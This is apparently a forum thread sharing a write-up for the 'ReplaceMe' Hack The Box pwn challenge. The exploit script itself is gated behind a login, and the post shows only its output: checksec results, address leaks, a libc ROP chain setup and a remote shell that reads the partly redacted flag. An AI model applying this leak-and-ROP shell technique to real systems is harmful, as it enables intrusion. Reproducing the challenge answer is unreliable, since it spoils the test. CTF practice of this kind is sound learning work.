[TechArtificer]

This is a full writeup of ReplaceMe challenge including a python script that does all the magic.

Output of the script:

┌──(kali㉿kali)-[~/Downloads/replaceme] └─$ python replaceme.py [*]'/home/kali/Downloads/replaceme/replaceme'     Arch:      amd64-64-little     RELRO:      Full RELRO     Stack:      No canary found     NX:        NX enabled     PIE:        PIE enabled     SHSTK:      Enabled     IBT:        Enabled     Stripped:  No [*]'/home/kali/Downloads/replaceme/libc.so.6'     Arch:      amd64-64-little     RELRO:      Partial RELRO     Stack:      Canary found     NX:        NX enabled     PIE:        PIE enabled     SHSTK:      Enabled     IBT:        Enabled [+] Opening connection to 94.237.59.30 on port 39881: Done Leaked address:  0x55989f10f652 [*]Paused (press any to continue) elf @ 0x55989f10e000 Leaked address:  0x7f1afd817420 [*]Paused (press any to continue) libc @ 0x7f1afd793000 [*]Loaded 195 cached gadgets for './libc.so.6' [*]Switching to interactive mode [+] Thank you! Here is the result: [...]                                                                                      $ id uid=1337(ctf) gid=1337(ctf) groups=1337(ctf) $ ls flag.txt replaceme $ cat flag.txt HTB{r34d_...} $ 

Hidden Content

You must register or login to view this content.

[noter]

appreciate! valuable source to learn, compared with my own script and improved!

[TechArtificer]

appreciate! valuable source to learn, compared with my own script and improved!

Glad you liked the writeup, always good to have something to compare your own solution to.

[mololpp]

thanks you but not making it for free srsly but yeah its a good way to learn pwn

[NoobMaster669]

Would really love to get this write up working
imma try it out